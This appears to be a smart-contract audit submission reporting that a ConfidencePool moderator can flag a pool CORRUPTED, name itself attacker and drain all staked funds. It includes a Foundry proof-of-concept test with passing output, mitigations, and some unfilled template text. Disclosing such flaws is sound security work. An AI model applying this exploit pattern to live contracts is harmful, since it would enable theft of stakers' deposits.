FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: high

Malicious moderator can self-flag CORRUPTED with goodFaith=true and claim attacker bounty, stealing all staked funds

Author Revealed upon completion

Root + Impact

Description

  • The flagOutcome() function in ConfidencePool.sol is callable only by the moderator (via the onlyModerator modifier).
    The moderator can set the outcome to CORRUPTED and provide any address as the attacker_ parameter.
    Once the outcome is CORRUPTED, the specified attacker can immediately call claimAttackerBounty() to withdraw the entire pool balance (principal + bonus).

    There is no validation that the attacker address matches the actual on-chain attacker from the registry.
    There is no timelock, delay, or appeal mechanism – the claim can be executed instantly after flagOutcome().

    Impact

    A malicious or compromised moderator can:

    • Arbitrarily mark any pool as CORRUPTED.

    • Set themselves (or any colluding address) as the attacker.

    • Immediately claim the entire pool balance (all stakers' deposits + any bonus).

    • Result: Stakers lose 100% of their funds; the protocol’s trust model is completely broken.


    Describe the normal behavior in one or more sentences

  • Explain the specific issue or problem in one or more sentences

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
contract BugMaliciousModeratorTest is BaseConfidencePoolTest {
function testModeratorStealsPool() public {
// 1. Stakers deposit and bonus is added
_stake(alice, 100 * ONE);
_stake(bob, 30 * ONE);
_contributeBonus(carol, 40 * ONE);
// 2. Registry state moves to UNDER_ATTACK → CORRUPTED
_passThroughUnderAttack();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
// 3. Moderator flags CORRUPTED with himself as attacker (goodFaith = true)
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, moderator);
// 4. Moderator claims attacker bounty – steals entire pool
uint256 poolBalanceBefore = token.balanceOf(address(pool));
vm.prank(moderator);
pool.claimAttackerBounty();
// 5. Verify moderator received all funds
uint256 moderatorBalance = token.balanceOf(moderator);
assertEq(moderatorBalance, poolBalanceBefore, "Moderator should have all funds");
// 6. Stakers get nothing
assertEq(token.balanceOf(alice), 0, "Alice lost everything");
assertEq(token.balanceOf(bob), 0, "Bob lost everything");
}
}

Risk

  1. Do not allow the moderator to set the attacker address arbitrarily – either derive it from the registry or restrict flagOutcome() to a trusted multi‑signature / DAO.

  2. Introduce a timelock or challenge period (e.g., 7 days) between flagOutcome() and claimAttackerBounty() to allow stakers to appeal.

  3. Require goodFaith = true only if the attacker address is verified by the registry; otherwise force goodFaith = false, which sweeps funds to recoveryAddress and prevents theft.

Impact:

  • A malicious or compromised moderator can:

    • Arbitrarily mark any pool as CORRUPTED.

    • Set themselves (or any colluding address) as the attacker.

    • Immediately claim the entire pool balance (all stakers' deposits + any bonus).

    • Result: Stakers lose 100% of their funds; the protocol’s trust model is completely broken.

    Proof of Concept (Foundry Test)

    The following Foundry test (based on the existing BaseConfidencePoolTest helpers) reproduces the attack and passes, confirming the vulnerability

Proof of Concept

nano test/BugMaliciousModerator.t.sol
root@WIN-5FUI7DE19H1:~/2026-07-bc-confidence-pools# forge test --match-test testModeratorStealsPool -vvv
[⠒] Compiling...
[⠘] Compiling 1 files with Solc 0.8.26
[⠃] Solc 0.8.26 finished in 28.91s
Compiler run successful!
Ran 1 test for test/BugMaliciousModerator.t.sol:BugMaliciousModeratorTest
[PASS] testModeratorStealsPool() (gas: 674191)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 25.97ms (16.81ms CPU time)
Ran 1 test suite in 32.93ms (25.97ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation

- remove this code
+ add this code

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!